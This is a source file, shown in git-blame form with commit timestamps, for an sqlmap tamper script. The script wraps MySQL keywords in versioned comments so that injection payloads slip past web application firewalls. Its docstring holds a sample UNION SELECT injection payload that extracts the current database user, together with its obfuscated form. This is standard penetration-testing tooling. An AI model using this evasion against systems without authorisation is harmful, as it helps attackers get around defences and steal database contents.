2013-02-14 15:32:17 +04:00
|
|
|
#!/usr/bin/env python
|
2011-06-30 10:34:24 +04:00
|
|
|
|
|
|
|
"""
|
2015-01-06 17:02:16 +03:00
|
|
|
Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
|
2011-06-30 10:34:24 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
|
|
|
"""
|
|
|
|
|
2011-06-30 12:02:52 +04:00
|
|
|
import os
|
2011-06-30 10:34:24 +04:00
|
|
|
import re
|
|
|
|
|
2011-06-30 11:52:13 +04:00
|
|
|
from lib.core.common import singleTimeWarnMessage
|
2011-06-30 10:34:24 +04:00
|
|
|
from lib.core.data import kb
|
2011-07-07 01:04:45 +04:00
|
|
|
from lib.core.enums import DBMS
|
2011-06-30 10:34:24 +04:00
|
|
|
from lib.core.enums import PRIORITY
|
2011-06-30 11:52:13 +04:00
|
|
|
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS
|
2011-06-30 10:34:24 +04:00
|
|
|
|
2011-06-30 11:52:13 +04:00
|
|
|
__priority__ = PRIORITY.HIGHER
|
2011-06-30 10:34:24 +04:00
|
|
|
|
2011-07-07 01:04:45 +04:00
|
|
|
def dependencies():
|
2011-07-08 17:43:34 +04:00
|
|
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
2011-07-07 01:04:45 +04:00
|
|
|
|
2012-12-03 17:27:01 +04:00
|
|
|
def tamper(payload, **kwargs):
|
2011-06-30 10:34:24 +04:00
|
|
|
"""
|
2011-07-07 01:04:45 +04:00
|
|
|
Encloses each keyword with versioned MySQL comment
|
|
|
|
|
|
|
|
Requirement:
|
|
|
|
* MySQL >= 5.1.13
|
|
|
|
|
|
|
|
Tested against:
|
2011-07-08 17:43:34 +04:00
|
|
|
* MySQL 5.1.56, 5.5.11
|
2011-07-07 01:04:45 +04:00
|
|
|
|
|
|
|
Notes:
|
|
|
|
* Useful to bypass several web application firewalls when the
|
|
|
|
back-end database management system is MySQL
|
2013-03-14 00:57:09 +04:00
|
|
|
|
|
|
|
>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')
|
|
|
|
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
|
2011-06-30 10:34:24 +04:00
|
|
|
"""
|
|
|
|
|
|
|
|
def process(match):
|
|
|
|
word = match.group('word')
|
2011-06-30 11:52:13 +04:00
|
|
|
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
|
2011-06-30 10:34:24 +04:00
|
|
|
return match.group().replace(word, "/*!%s*/" % word)
|
|
|
|
else:
|
|
|
|
return match.group()
|
|
|
|
|
|
|
|
retVal = payload
|
|
|
|
|
|
|
|
if payload:
|
2011-06-30 11:52:13 +04:00
|
|
|
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
|
2011-06-30 10:34:24 +04:00
|
|
|
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
|
|
|
|
|
2012-10-25 12:10:23 +04:00
|
|
|
return retVal
|